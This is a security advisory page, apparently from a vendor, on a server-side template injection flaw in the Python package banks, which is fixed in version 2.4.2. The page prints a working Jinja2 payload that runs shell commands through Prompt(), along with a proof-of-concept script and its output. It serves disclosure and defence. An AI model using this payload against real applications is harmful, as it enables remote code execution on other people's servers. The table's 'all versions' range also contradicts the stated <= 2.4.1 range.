CVE-2026-44209 is a high-severity (CVSS 7.5) CWE-1336 vulnerability in banks. A fix is available for banks — see the affected versions and patch details below.
Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44209.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44209 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
banksReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of Concept
Setup:
pip install banks==2.4.1
PoC script:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Confirmed output:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
text
**File-write proof:**
```python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impact
Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
Fix
Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.
Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().
Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | banks | all versions | 2.4.2pip install --upgrade 'banks==2.4.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for banks, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update banks to 2.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44209 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44209 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44209. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-44209 in your dependencies?
O3 Security finds CVE-2026-44209 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.